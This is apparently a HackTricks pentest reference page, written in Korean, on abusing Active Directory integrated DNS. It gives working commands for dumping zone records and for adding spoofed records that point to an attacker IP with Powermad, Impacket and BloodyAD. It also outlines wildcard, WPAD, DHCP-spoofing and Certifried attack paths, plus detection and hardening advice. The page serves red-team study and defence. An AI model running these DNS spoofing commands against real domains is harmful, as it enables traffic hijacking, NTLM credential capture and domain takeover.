AD DNS Records

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

기본적으로 Active Directory의 모든 사용자는 도메인 또는 포리스트 DNS 존에서 모든 DNS 레코드를 열거할 수 있으며, 이는 존 전송과 유사합니다 (사용자는 AD 환경에서 DNS 존의 자식 객체를 나열할 수 있습니다).

도구 adidnsdump는 내부 네트워크의 정찰 목적을 위해 존의 모든 DNS 레코드열거하고 내보내기 할 수 있게 해줍니다.

bash
git clone https://github.com/dirkjanm/adidnsdump
cd adidnsdump
pip install .

# Enumerate the default zone and resolve the "hidden" records
adidnsdump -u domain_name\\username ldap://10.10.10.10 -r

# Quickly list every zone (DomainDnsZones, ForestDnsZones, legacy zones,…)
adidnsdump -u domain_name\\username ldap://10.10.10.10 --print-zones

# Dump a specific zone (e.g. ForestDnsZones)
adidnsdump -u domain_name\\username ldap://10.10.10.10 --zone _msdcs.domain.local -r

cat records.csv

adidnsdump v1.4.0 (2025년 4월)은 JSON/Greppable (--json) 출력을 추가하고, 다중 스레드 DNS 해상도 및 LDAPS에 바인딩할 때 TLS 1.2/1.3을 지원합니다.

자세한 정보는 https://dirkjanm.io/getting-in-the-zone-dumping-active-directory-dns-with-adidnsdump/를 읽으세요.


레코드 생성 / 수정 (ADIDNS 스푸핑)

Authenticated Users 그룹은 기본적으로 존 DACL에서 Create Child 권한을 가지고 있기 때문에, 모든 도메인 계정(또는 컴퓨터 계정)은 추가 레코드를 등록할 수 있습니다. 이는 트래픽 하이재킹, NTLM 릴레이 강제 또는 전체 도메인 손상에 사용될 수 있습니다.

PowerMad / Invoke-DNSUpdate (PowerShell)

powershell
Import-Module .\Powermad.ps1

# Add A record evil.domain.local → attacker IP
Invoke-DNSUpdate -DNSType A -DNSName evil -DNSData 10.10.14.37 -Verbose

# Delete it when done
Invoke-DNSUpdate -DNSType A -DNSName evil -DNSData 10.10.14.37 -Delete -Verbose

Impacket – dnsupdate.py (Python)

bash
# add/replace an A record via secure dynamic-update
python3 dnsupdate.py -u 'DOMAIN/user:Passw0rd!' -dc-ip 10.10.10.10 -action add -record evil.domain.local -type A -data 10.10.14.37

(dnsupdate.py는 Impacket ≥0.12.0과 함께 제공됩니다)

BloodyAD

bash
bloodyAD -u DOMAIN\\user -p 'Passw0rd!' --host 10.10.10.10 dns add A evil 10.10.14.37

일반적인 공격 원시 요소

  1. 와일드카드 레코드*.<zone>은 AD DNS 서버를 LLMNR/NBNS 스푸핑과 유사한 기업 전체 응답자로 변환합니다. NTLM 해시를 캡처하거나 LDAP/SMB로 릴레이하는 데 악용될 수 있습니다. (WINS 조회가 비활성화되어 있어야 합니다.)
  2. WPAD 하이재킹wpad를 추가하거나 공격자 호스트를 가리키는 NS 레코드를 추가하여 Global-Query-Block-List를 우회하고, 자격 증명을 수집하기 위해 아웃바운드 HTTP 요청을 투명하게 프록시합니다. Microsoft는 와일드카드/DNAME 우회를 패치했지만 (CVE-2018-8320) NS 레코드는 여전히 작동합니다.
  3. 오래된 항목 인수 – 이전에 워크스테이션에 속했던 IP 주소를 주장하면 관련 DNS 항목이 여전히 해결되어 리소스 기반 제약 위임 또는 Shadow-Credentials 공격을 DNS에 전혀 손대지 않고 수행할 수 있습니다.
  4. DHCP → DNS 스푸핑 – 기본 Windows DHCP+DNS 배포에서 동일한 서브넷의 인증되지 않은 공격자는 위조된 DHCP 요청을 보내 기존 A 레코드(도메인 컨트롤러 포함)를 덮어쓸 수 있습니다. 이는 동적 DNS 업데이트를 트리거합니다 (Akamai “DDSpoof”, 2023). 이는 Kerberos/LDAP에 대한 중간자 공격을 가능하게 하며 전체 도메인 인수로 이어질 수 있습니다.
  5. Certifried (CVE-2022-26923) – 제어하는 머신 계정의 dNSHostName을 변경하고, 일치하는 A 레코드를 등록한 다음, 해당 이름에 대한 인증서를 요청하여 DC를 가장합니다. Certipy 또는 BloodyAD와 같은 도구는 이 흐름을 완전히 자동화합니다.

탐지 및 강화

  • 민감한 영역에서 인증된 사용자에게 모든 자식 객체 생성 권한을 거부하고, DHCP에서 사용하는 전용 계정에 동적 업데이트를 위임합니다.
  • 동적 업데이트가 필요한 경우, 영역을 보안 전용으로 설정하고 DHCP에서 이름 보호를 활성화하여 소유자 컴퓨터 객체만 자신의 레코드를 덮어쓸 수 있도록 합니다.
  • DNS 서버 이벤트 ID 257/252(동적 업데이트), 770(영역 전송) 및 CN=MicrosoftDNS,DC=DomainDnsZones에 대한 LDAP 쓰기를 모니터링합니다.
  • 위험한 이름(wpad, isatap, *)을 의도적으로 무해한 레코드로 차단하거나 Global Query Block List를 통해 차단합니다.
  • DNS 서버를 패치 상태로 유지합니다 – 예를 들어, RCE 버그 CVE-2024-26224 및 CVE-2024-26231은 CVSS 9.8에 도달했으며 도메인 컨트롤러에 대해 원격으로 악용될 수 있습니다.

참고 문헌

  • Kevin Robertson – “ADIDNS Revisited – WPAD, GQBL and More” (2018, 여전히 와일드카드/WPAD 공격에 대한 사실상의 참고 문헌)
  • Akamai – “DHCP DNS 동적 업데이트를 악용한 DNS 레코드 스푸핑” (2023년 12월)

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기